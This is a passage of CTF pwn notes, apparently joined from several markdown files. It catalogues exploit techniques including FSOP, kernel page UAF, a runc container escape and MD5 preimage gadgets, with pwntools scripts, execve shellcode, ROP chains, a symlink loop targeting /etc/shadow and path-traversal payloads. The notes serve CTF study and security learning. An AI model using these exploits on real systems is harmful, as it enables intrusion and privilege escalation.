Key insight: Always run whoami /priv after landing a Windows shell. SeDebugPrivilege — even when shown as "Disabled" — is a direct path to SYSTEM via process migration.
See advanced-exploits.md for VM signed comparison, BF JIT shellcode, type confusion, ASAN shadow memory, format string with encoding constraints, MD5 preimage gadgets, VM GC UAF, FSOP + seccomp bypass, and stack variable overlap techniques.
See rop-advanced.md for .fini_array hijack details.
See sandbox-escape.md for shell tricks and restricted environment techniques.
strace Byte-Count Side-Channel (404CTF 2024 "Nanocombattants")
Pattern: A crackme validates input character-by-character, exiting early on mismatch. Classic timing side-channel — but wall-clock measurements are too noisy when the per-char work is tiny (mmap + fork + shared-memory handshake).
Trick: run the binary under strace -f -c (or strace -f -e trace=all) and count stderr bytes emitted, not elapsed time. Each correct char traverses more syscalls (extra fork/wait/read/munmap) → distinguishable size bands:
correct prefix : ~7100–7500 bytes of strace output
wrong at pos k : ~10651 bytes (noisy exit path)
Byte count is discrete and noise-free — orders of magnitude more reliable than clock_gettime on a loaded box.
for c in $(python3 -c "import string; print(' '.join(string.printable[:94]))"); do
size=$(strace -f -c ./chall <<< "$PREFIX$c" 2>&1 | wc -c)
echo "$c -> $size"
done | sort -k3 -n | head -5
Generalisation: any process whose syscall pattern diverges on validation outcome leaks the outcome via strace output length. Useful when perf counters are restricted or rdtsc is unavailable.
Source: mathishammel.com/blog/writeup-404ctf-nanocombattants.
Signed-to-size_t Type Confusion Triggering Stack Overflow
Pattern (Root-Me snippet 05, recurring in real CVEs): Length arrives as signed int, bounds-check against an upper limit only:
int len = read_from_user();
if (len > 64) return -1;
read(fd, buf, len);
abs(INT_MIN) returns INT_MIN — still negative. When the negative int is passed to a size_t-typed API (read, memcpy, recv), it is reinterpreted as a huge unsigned value → massive OOB write → stack/heap smash.
Spot signals during audit:
len is int, int32_t, or ssize_t, but caller uses memcpy/read/recv (take size_t).
- Only an upper-bound check is present (
if (n > MAX)) — no n < 0 || n > MAX.
- Values derived from subtraction of user-controlled offsets.
Exploit idea: submit len = -1 (0xFFFFFFFF as size_t) → unbounded write → overwrite saved RIP → classic ROP.
In CTF reverse/pwn hybrids: once you see int len + unchecked if (len > X) + read(fd, buf, len), the vulnerability is this, not a heap bug.
Source: blog.root-me.org/posts/writeup_snippet_05.
Advanced Exploits — Part 3 (2025-2026 era)
Spin-off of advanced-exploits-2.md grouping the 2025-2026 mechanics (SekaiCTF 2025, HTB 2025, Midnightflag 2025, hxp 2024/2025, pwn.college AoP 2025). Keep -2.md for 2024-early-2025 exploits; add new 2025-2026 sections here to stay under 500 lines.
Coordinate-Indexed Custom Filesystem Stack Overflow (source: SekaiCTF 2025 vkfs)
Trigger: a userspace "filesystem" where open/rename build a path from tuples (mip, x, y) and hash SHA-256 of the path segments; no length check on old_path/new_path beyond parent directory.
Signals: vk_rename, vk_open, VK_PATH_MAX macro on a single component, inode table keyed by SHA-256, no stack canary.
Mechanic: overflow via oversize component clobbers an adjacent header/coord struct still on stack, letting you craft an inode lookup that crosses a mip boundary (i.e. reads a sibling level that contains the flag). SHA-256 collisions on short components are brute-forceable because the FS prefixes a small fixed header; precompute pairs offline.
Automation hook: when triage.sh sees filenames that contain mip_/coord_/layer_ prefixes + a binary without canary, emit this hint.
Source: blog.zafirr.dev/en/2025-08-18-sekai-ctf-2025-vkfs-write-up.
MIPS $gp-Pivot Fake-GOT (source: SekaiCTF 2025 outdated)
Trigger: MIPS ELF exposing a stack/global overflow; binary loads $gp from a user-reachable slot (e.g. saved in a struct at a fixed offset).
Signals: readelf -A shows MIPS ABI; $gp register used for all PIC-GOT indirection; no PIE / no randomization of a writable global.
Mechanic: overflow the saved $gp so that the next lib call (e.g. puts) resolves through a fake GOT placed at that global. Two-stage: stage-1 GOT routes puts → puts but also leaks libc via controlled arg; stage-2 reflip $gp so puts → system("/bin/sh"). Works on MIPS where no ROP gadgets exist but function-pointer redirect is trivial via GOT.
Why it matters: replaces ret2libc on MIPS, where reliable gadgets are scarce.
Source: github.com/project-sekai-ctf/sekaictf-2025/tree/main/pwn/outdated.
FILE UAF + Format-String Bridge (source: HTB Business 2025 Starshard Core)
Trigger: binary has both (a) a format-string read on attacker input (leak primitive) and (b) a FILE* UAF via free-then-use of an fopen handle.
Signals: printf(buf) with no format specifier; fclose(fp) followed by fread(fp,…) or fprintf(fp,…) on the same pointer.
Mechanic: format string leaks canary + arena + libc; heap spray places a forged _IO_FILE in the freed slot with controlled _IO_write_ptr/vtable; next fread dispatches attacker vtable → FSOPAgain shell. Acts as a bridge between two mild primitives neither of which alone gives code exec.
Source: github.com/hackthebox/university-ctf-2025/pwn/Starshard%20Core.
Cross-Thread alloca() Stack Smash + Partial-Close Leak (source: Midnightflag 2025)
Trigger: multi-threaded pwn with alloca(user_n) (user-controlled n) and any socket path that performs shutdown(fd, SHUT_WR) without close().
Signals: pthread present, adjacent thread stacks in /proc/<pid>/maps, alloca in disasm, buffered-but-not-flushed IO pattern.
Mechanic: huge alloca pushes $sp into sibling thread B's stack region; subsequent writes smash B's saved return. Partial socket shutdown holds the kernel buffer open: send uninit bytes back to leak libc base and stack canary of the sibling thread.
Generalisation: any alloca(x) with non-trivial upper bound — test sibling-thread stack adjacency with pthread_attr_getstack.
Source: ptr-yudai.hatenablog.com/entry/2025/04/22/145743.
Objective-C UAF: Isa-Pointer Overlap → Dispatch Hijack (source: Midnightflag 2025)
Trigger: binary linked against libobjc; freed NSObject*/NSString* kept as id and later messaged via objc_msgSend.
Signals: objc_msgSend in disasm, tcache-sized objects, [obj-class-name]-style dispatch after free.
Mechanic: place a forged object in tcache whose first 8 bytes (isa) point to an attacker-crafted class. class_getName resolves via [isa+OFF]; chain gadgets of the form mov rax,[rdi+8]; ret; to drive method-table lookup into controlled memory for PC control. No sandbox escape needed; primary use on macOS/iOS pwn or any Linux app that embedded libobjc.
ARM64 PAC-Key Exfil via Bounds-Mismatch AAR (source: Midnightflag 2025)
Trigger: aarch64 kernel module signing syscall entry/exit with PAC (paciza/autiza), IOCTL that bounds-checks against sizeof(struct) instead of the real buffer length.
Signals: .text contains paciza/autiza; two IOCTLs where one reads and one writes an offset from a base.
Mechanic: the bounds mismatch gives an AAR that can overlap the current task's saved context (including PAC subkeys). Read subkey → locally sign an attacker-chosen pointer with pacia → feed it back via the second IOCTL for an AAW. Overwrite cred->uid = 0. PAC bypass without MTE.
cmp Timing Oracle in Seccomp-write-Killed Jail (source: Midnightflag 2025)
Trigger: seccomp filter kills write/socket/sendto but allows execve and open/read on /flag; no SIGSYS handler.
Signals: seccomp JSON / bpf bytecode dumped; /usr/bin/cmp present; no observable IO channel.
Mechanic: execve("/usr/bin/cmp", ["/flag", "/tmp/guess"]) exits with status 0/1/2 but the elapsed time varies with how many bytes matched before mismatch. Measure wait4's ru_utime (if accessible) or wall time — byte-by-byte flag oracle with no writable channel. Generalises: any jail that forbids output but allows a precise time-consuming operation.
Traefik X-Forwarded-* Admin Reach → Polyglot RCE Chain (source: HTB Business 2025 novacore)
Trigger: Traefik ≤ 2.11.13 in front of Flask/Node, admin routes supposedly guarded by middleware reading X-Forwarded-Prefix/X-Forwarded-Host.
Signals: traefik.yml/traefik.toml without forwardedHeaders.insecure: false; the Traefik version string in response headers.
Mechanic: (1) forge X-Forwarded-Prefix: /admin to reach protected routes → (2) cache poison + DOM-clobber inside the admin SPA → (3) upload endpoint accepts TAR with traversal filename → (4) craft TAR/ELF polyglot (first 262 bytes valid TAR header with traversal filename, body valid ELF) → extractor writes ELF to chosen path → second endpoint execs. Full chain from header smuggle to RCE.
Source: github.com/hackthebox/business-ctf-2025/web/novacore.
MMap-Oriented Programming (MOP) — libc Code-Page Zeroing (LA CTF 2025 "mmapro")
Pattern: Challenge exposes an mmap() primitive where attacker controls addr, length, prot, flags. With MAP_FIXED, unmap-and-remap overwrites existing mappings — including the libc .text segment of the running process.
The trick: remap a libc code page as PROT_READ|PROT_WRITE|PROT_EXEC backed by zero-filled anonymous memory. When control returns to that page, CPU executes runs of \x00\x00\x00... — on x86-64 that's add byte ptr [rax], al over and over. It's effectively a NOP-slide gadget inside a valid .text mapping, so no CFI/CET tripwire fires (no indirect branch target mismatch, the mapping is still "libc code").
Why it's new:
- Classic ROP lives inside the (now-checked)
.text. MOP rewrites .text.
- CET shadow-stack only checks returns; the NOP-slide doesn't touch returns until it reaches attacker-placed shellcode.
- Works even when no
rwx region exists normally — MAP_FIXED is the primitive.
Skeleton:
mmap(libc_text_page, 0x1000, PROT_RWX, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0)
Hunt signal: challenge hands you mmap / mremap with attacker-controlled args but denies plain execve/shellcode. Check whether MAP_FIXED is allowed — if yes, consider libc zeroing before classic ROP.
Source: enzo.run/posts/lactf2025.
Pipe-Backed Page UAF via folio_put (corCTF 2025 "corphone")
Target: Android / Linux kernel, glibc 2.38+. Classic pipe_buffer tricks (overwriting f_op etc.) are well-mitigated. New primitive:
Pattern: kfree() a large kmalloc object whose backing pages were first grafted onto a pipe via splice()/vmsplice(). The kernel path free_large_kmalloc → folio_put(folio) emits a WARN but proceeds — yet the folio is still referenced by the pipe. Result: page-level UAF, not slab-level.
Why it matters:
- Sidesteps slab-granularity mitigations (hardened usercopy, random_kmalloc_caches).
- Gives attacker a whole page of typed-object reuse territory — much richer than 64-byte slot.
- Cross-cache attacks worked around slab caches; this works around the slab layer entirely.
Exploit skeleton:
- Allocate a large kmalloc object (
kmalloc-4k or bigger, __GFP_COMP order ≥ 1).
splice() the pages into a pipe → pipe holds a reference to the folio.
- Trigger
kfree() on the object (e.g. close the owning fd) → folio_put is called but refcount stays ≥ 1 via pipe.
- Re-allocate the same physical page as a typed kernel object (e.g.
cred, file, task_struct).
- Read/write it through the pipe — typed-object UAF at page granularity.
Follow-up primitive used in corphone: patch avc_denied() in-place to neutralise SELinux once kernel R/W is achieved — simpler than forging selinux_state.
Source: u1f383.github.io/android/2025/09/08/corCTF-2025-corphone.
Unicorn Emulator Host/Guest Hook Divergence (Google CTF 2025 "Unicornel Trustzone")
Pattern: Challenge implements a "trustzone" by running user code under a Unicorn Engine emulator with memory hooks to deny reads of secret regions. Bug: uc_mem_read() from the host side (the Python controller that drives the emulator) does not fire guest hooks.
Consequence: any primitive that smuggles a guest operation into a host-side uc_mem_read bypasses the access control entirely.
Secondary bug chained: integer overflow in src + n bounds-check — pass n = 0x1000 with src = 0xFFFFFFFF...F000 so src + n == 0 wraps below the real end; bounds check passes, then actual read reaches arbitrary guest memory.
Third step: remap emulator's RWX page of the host process to inject shellcode, then overwrite a GOT entry the emulator calls → control host. Bridges "CPU emulator fuzzing" with classic userland pwn.
Takeaway: when a challenge uses Unicorn/QEMU as a sandbox, check whether callbacks/hooks apply only to guest-originated ops. Any host-side helper (debug reads, checkpointing) is often unhooked.
Source: chovid99.github.io/posts/google-ctf-2025.
runc 2025 Symlink-Race Container Escape (CVE-2025-31133/52565/52881)
Targets: CVE-2025-31133, CVE-2025-52565, CVE-2025-52881 — three related symlink-race / bind-mount-redirect bugs in runc (disclosed Nov 2025). Appearing in late-2025 / 2026 CTFs.
Core pattern: runc bind-mounts paths like /dev/null or /proc/self/attr/exec from the host into the container in RW mode. Before the mount completes, the container process replaces the target path with a symlink pointing at a sensitive host file. runc follows the symlink and mounts the wrong target RW.
while true; do
ln -sf /host/etc/shadow /dev/null
done &
After winning: write to /dev/null inside the container → actually writes to /etc/shadow on the host. Combine with an LPE helper (e.g. overwrite /etc/sudoers or /proc/1/attr/exec).
CTF tell-tales:
- Challenge hands you an unprivileged shell inside a container with custom mount configs (e.g. extra
bind mounts on /proc or /dev).
- Container runtime is
runc <= 1.1.x (check /proc/self/cgroup + version probe).
/proc is partially writable or has bind-mounts configured.
Mitigation the challenge might still miss: runc --keep-safe-handles or upgraded runc >= 1.2.0 patches. If you see those absent, try the symlink swap.
Source: cncf.io/blog/2025/11/28/runc-container-breakout-vulnerabilities-a-technical-overview.
For 2025-2026 era mechanics (vkfs coord-indexed overflow, MIPS $gp-pivot, FILE UAF+fstr bridge, alloca cross-thread, ObjC Isa UAF, ARM64 PAC exfil, cmp timing oracle, Traefik polyglot chain), see advanced-exploits-3.md.
CTF Pwn - Advanced Exploit Techniques
Table of Contents
VM Signed Comparison Bug (0xFun 2026)
Pattern (CHAOS ENGINE): Custom VM STORE opcode checks offset <= 0xfff with signed jle but no lower bound check.
Exploit:
- Negative offsets reach function pointer table below data area
- Build values byte-by-byte in VM memory using VM arithmetic
- LOAD as qwords, compute negative offsets via XOR with 0xFF..FF
- Overwrite HALT handler with
system@plt
- Trigger HALT with "sh" string pointer as argument
General lesson: Signed vs unsigned comparison bugs in custom VMs are common. Always check bounds in both directions. Function pointer tables near data buffers = easy RCE.
BF JIT Unbalanced Bracket to RWX Shellcode (VuwCTF 2025)
Pattern (Blazingly Fast Memory Unsafe): BF JIT compiler uses stack for [/] control flow. Unbalanced ] pops values from prologue.
Vulnerability: ] (LOOP_END) pops return address from stack. Without matching [, it pops the tape address which resides in RWX memory.
Exploit:
stage1 = b''
shellcode_bytes = asm(shellcraft.read(0, 'r14', 256))
for byte in shellcode_bytes:
if byte <= 127:
stage1 += b'+' * byte + b'>'
else:
stage1 += b'-' * (256 - byte) + b'>'
stage1 += b']'
Identification: JIT compilers using stack for bracket matching + RWX tape memory.
Type Confusion in Interpreter (VuwCTF 2025)
Pattern (Idempotence): Lambda calculus interpreter's simplify_normal_order() unconditionally sets function type to ABS (abstraction), even when it's a VAR (variable).
Key insight: VAR's unused bytes 16-23 get interpreted as body pointer. When print_expression() encounters type > 2, it dumps raw bytes as UNKNOWN_DATA — flag bytes interpreted as type value trigger the dump.
General lesson: Type confusion in interpreters occurs when type tags aren't validated before downcasting. Unused padding bytes in one variant become active fields in another.
Off-by-One Index to Size Corruption (VuwCTF 2025)
Pattern (Kiwiphone): Index 0 writes to entries[-1], overlapping a struct's size field.
Exploit chain:
- Write to index 0 with crafted data to set
phonebook.size = 48 (normally 16)
print_all now dumps 48 entries, leaking stack canary, saved RBP, and libc return address
- Calculate libc base from leaked return address
- Write ROP chain into entries 17-22:
[canary] [rbp] [ret] [pop_rdi] [/bin/sh] [system]
- Exit with -1 to trigger return through ROP chain
Format trick: Phone format +48 0 0-0 doubles as valid phone number AND size overwrite value.
Double win() Call Pattern (VuwCTF 2025)
Pattern (Tokaid): win() has if (attempts++ > 0) check — first call increments from 0 (fails), second call succeeds.
Payload: Stack two return addresses: b'A'*offset + p64(win) + p64(win)
PIE calculation: When main address is leaked: base = main_leak - main_offset; win = base + win_offset.
DNS Record Buffer Overflow
Pattern (Do Not Strike The Clouds): Many AAAA records overflow stack buffer in DNS response parser.
Exploitation:
- Set up DNS server returning excessive AAAA records
- Target binary queries DNS, copies records into fixed-size stack buffer
- Many records overflow into return address
- Overwrite with win function address
ASAN Shadow Memory Exploitation
Pattern (Asan-Bazar, Nullcon 2026): Binary compiled with AddressSanitizer has format string + OOB write vulnerabilities.
ASAN Shadow Byte Layout:
| Shadow Value | Meaning |
|---|
0x00 | Fully accessible (8 bytes) |
0x01-0x07 | Partially accessible (1-7 bytes) |
0xF1 | Stack left redzone |
0xF3 | Stack right redzone |
0xF5 | Stack use after return |
Key Insight: ASAN may use a "fake stack" (50% chance) — areas past the ASAN frame have shadow 0x00 on the real stack but different on the fake stack. Detect which by leaking the return address offset.
Exploitation Pattern:
payload = b'%8$p'
pie_base = leaked - known_offset
is_real_stack = (ret_addr - pie_base) == 0xdc052
Single-Interaction Exploitation: Combine leak + detect + exploit in one format string interaction. If fake stack detected, disconnect and retry.
Format String with Encoding Constraints + RWX .fini_array Hijack
Pattern (Encodinator, Nullcon 2026): Input is base85-encoded into RWX memory at fixed address, then passed to printf().
Key insight: Don't try libc-based exploitation. Instead, exploit the RWX mmap region directly:
- RWX region at fixed address (e.g.,
0x40000000): Write shellcode here
.fini_array hijack: Overwrite .fini_array[0] to point to shellcode. When main() returns, __libc_csu_fini calls fini_array entries.
- Format string writes: Use
%hn to write 2 bytes at a time to .fini_array
Argument numbering with base85:
Base85 decoding changes payload length. The decoded prefix occupies P bytes on stack, so first appended pointer is at arg 6 + P/8. Use convergence loop:
arg_base = 20
for _ in range(20):
fmt = construct_format_string(writes, arg_base)
while len(fmt) % 10 != 0:
fmt += b"A"
prefix = b85_decode(fmt)
new_arg_base = 6 + (len(prefix) // 8)
if new_arg_base == arg_base:
break
arg_base = new_arg_base
Shellcode (19-byte execve):
push 0x3b ; syscall number
pop rax
cdq ; rdx = 0
movabs rbx, 0x68732f2f6e69622f ; "/bin//sh"
push rdx ; null terminator
push rbx ; "/bin//sh"
push rsp
pop rdi ; rdi = pointer to "/bin//sh"
push rdx
pop rsi ; rsi = NULL
syscall
Why avoid libc: Base85 encoding makes precise libc address calculations extremely difficult. The RWX region + .fini_array approach uses only fixed addresses (no ASLR, no PIE concerns for the write target).
Custom Canary Preservation
Pattern (Canary In The Bitcoin Mine): Buffer overflow must preserve known canary value.
Key technique: Write the exact canary bytes at the correct offset during overflow:
payload = b'A' * 64 + b'BIRD' + b'X'
Identification: Source code shows struct with buffer + canary + flag bool, gets() for input.
Signed Integer Bypass (Negative Quantity)
Pattern (PascalCTF 2026): Menu program with scanf("%d") for quantity. Negative input makes quantity * price negative, bypassing balance >= total_cost check.
p.sendline(b'10')
p.sendline(b'-1')
Canary-Aware Partial Overflow
Pattern (MyGit, PascalCTF 2026): Buffer overflow where valid flag sits between buffer end and canary.
Stack layout:
- Buffer:
rbp-0x30 (48 bytes)
- Valid flag:
rbp-0x10 (offset 32 from buffer)
- Stack canary:
rbp-0x08 (offset 40 from buffer)
Key technique: Use ./ as no-op path padding to control input length precisely:
././././././././././../../../../flag (36 bytes)
./ segments normalize to current directory (no-op)
- Byte 32 must be non-zero to set
valid = true
- Stay under byte 40 to avoid canary
Exploit chain:
checkout ././././././././././../../../../flag - reads /flag content as "current commit"
branch create ././././././././././../../../../tmp/leaked - writes commit (flag) to /tmp/leaked
cat /tmp/leaked - read the exfiltrated flag
Global Buffer Overflow (CSV Injection)
Pattern (Spreadsheet): Adjacent global variables exploitable via overflow.
Exploitation:
- Identify global array adjacent to filename pointer in memory
- Overflow array bounds by injecting extra delimiters (commas in CSV)
- Overflowed pointer lands on filename variable
- Change filename to
flag.txt, then trigger read operation
edit_cell("J10", "whatever,flag.txt")
save()
load()
load()
print_spreadsheet()
MD5 Preimage Gadget Construction
Pattern (Hashchain, Nullcon 2026): Server concatenates N MD5 digests and executes them as code. Brute-force preimages with desired byte prefixes.
Core technique: Each MD5 digest is 16 bytes. Use eb 0c (jmp +12) as first 2 bytes to skip the middle 12 bytes, landing on bytes 14-15 which become a 2-byte instruction:
for (uint64_t ctr = 0; ; ctr++) {
sprintf(msg + prefix_len, "%016llx", ctr);
MD5(msg, msg_len, digest);
if (digest[0] == 0xEB && digest[1] == 0x0C) {
uint16_t suffix = (digest[14] << 8) | digest[15];
if (suffix == target_instruction)
break;
}
}
Building i386 syscall chains from 2-byte gadgets:
31c0 = xor eax, eax
89e1 = mov ecx, esp
b220 = mov dl, 0x20
cd80 = int 0x80
40 + NOP = inc eax
Hashchain v1 (JMP to NOP sled): RWX buffer at 0x40000000 + NOP sled at 0x41000000. Find MD5 preimage starting with 0xE9 (jmp rel32) that lands in the sled:
Hashchain v2 (3-hash chain): Store MD5 digests at user-controlled offsets. Build instruction chain:
- Offset 0 (jmp +2): Find input whose MD5 starts with
EB 02 (e.g., 143874)
- Offset 4 (push win): Find input whose MD5 starts with
68 XX XX XX matching win() address bytes
- Offset 8 (ret): Find input whose MD5 byte[1] is
C3 (e.g., 5488 → 56 C3)
Pre-computation approach: Build lookup table mapping MD5 4-byte prefixes to inputs. At runtime, parse win() address from server banner, look up matching push-hash input.
Brute-force time: 32-bit prefix match: ~2^32 hashes (~60s on 8 cores). 16-bit: instant.
VM GC-Triggered UAF — Slab Reuse (EHAX 2026)
Pattern (SarcAsm): Custom stack-based VM with NEWBUF/SLICE/GC/BUILTIN opcodes. Slicing a buffer creates a shared reference to the same slab. When the slice is dropped and GC'd, it frees the shared slab even though the parent buffer is still alive.
Vulnerability: free_data() called on slice frees the underlying slab pointer that the parent buffer still references → UAF read/write through parent.
Exploit chain:
NEWBUF 24 → allocates 32-byte slab (slab class matches function objects)
READ 24 → fills buffer, sets length so SLICE bounds check passes
SLICE 0,24 → alias to same slab
DROP + GC → frees the slab via slice's destructor
BUILTIN 0 → allocates function object, reuses freed 32-byte slab (code pointer at offset +8)
WRITEBUF 16,0 → sets parent buffer's length to 16 (no actual write, bypasses bounds)
PRINTB → leaks code pointer from UAF slab → compute PIE base
READ 16 → overwrites code pointer with win() address
CALL → executes win() → execve("/bin/sh")
from pwn import *
import struct
def uleb128(val):
result = b''
while True:
byte = val & 0x7f
val >>= 7
if val: byte |= 0x80
result += bytes([byte])
if not val: break
return result
NEWBUF, READ, SLICE, DROP, GC = b'\x20', b'\x21', b'\x22', b'\x04', b'\x60'
BUILTIN, CALL, GLOAD, GSTORE = b'\x40', b'\x41', b'\x30', b'\x31'
WRITEBUF, PRINTB, PUSH, HALT = b'\x25', b'\x23', b'\x01', b'\xff'
code = b''
code += NEWBUF + uleb128(24) + GSTORE + uleb128(0)
code += GLOAD + uleb128(0) + READ + uleb128(24)
code += GLOAD + uleb128(0) + SLICE + uleb128(0) + uleb128(24)
code += DROP + GC
code += BUILTIN + uleb128(0) + GSTORE + uleb128(1)
code += GLOAD + uleb128(0) + WRITEBUF + uleb128(16) + uleb128(0)
code += GLOAD + uleb128(0) + PRINTB
code += GLOAD + uleb128(0) + READ + uleb128(16)
code += PUSH + b'\x00' + GLOAD + uleb128(1) + CALL + uleb128(1)
code += HALT
blob = struct.pack('<I', len(code)) + code
p = remote('target', 9999)
p.send(blob + b'A'*24)
leak = p.recv(16, timeout=5)
code_ptr = struct.unpack('<Q', leak[:8])[0]
win_addr = (code_ptr - 0x31d0) + 0x3000
p.send(struct.pack('<Q', win_addr) + b'\x00'*8)
p.sendline(b'cat /flag*')
p.interactive()
Key lessons:
- Slab allocator reuse: Function objects and buffer data share the same slab size class → guaranteed UAF overlap
- WRITEBUF length trick: Setting length without writing data bypasses bounds checks but exposes UAF content
- GC as trigger: Explicit
GC opcode forces immediate collection → deterministic UAF timing
- General pattern: In custom VMs, look for shared references (slices, views, aliases) where destruction of one frees resources still held by another
Path Traversal Sanitizer Bypass
Pattern (Galactic Archives): Sanitizer skips character after finding banned char.
"....//....//etc//passwd"
Flag via /proc/self/fd/N:
- If binary opens flag file but doesn't close fd, read via
/proc/self/fd/3
- fd 0=stdin, 1=stdout, 2=stderr, 3=first opened file
FSOP + Seccomp Bypass via openat/mmap/write (EHAX 2026)
Pattern (The Revenge of Womp Womp): Heap exploit (UAF) leading to FSOP chain, but seccomp blocks standard open/read/write or execve. Use alternative syscalls to read the flag.
Exploit chain:
- Leak libc via
show() on freed unsorted bin chunk (fd/bk pointers)
- UAF → unsafe unlink to redirect pointer to
.bss region
- Craft fake FILE structure on heap with vtable pointing to
_IO_wfile_jumps
- FSOP chain:
_IO_wfile_overflow → _IO_wdoallocbuf → _IO_WDOALLOCATE(fp)
- Stack pivot via
mov rsp, rdx gadget (rdx controllable from FILE struct)
- ROP chain using seccomp-compatible syscalls
Seccomp bypass with openat/mmap/write:
from pwn import *
rop = ROP(libc)
rop.raw(pop_rdi)
rop.raw(-100 & 0xffffffffffffffff)
rop.raw(pop_rsi)
rop.raw(flag_str_addr)
rop.raw(pop_rdx_rbx)
rop.raw(0)
rop.raw(0)
rop.raw(libc.sym.openat)
rop.raw(pop_rdi)
rop.raw(0)
rop.raw(pop_rsi)
rop.raw(0x1000)
rop.raw(pop_rdx_rbx)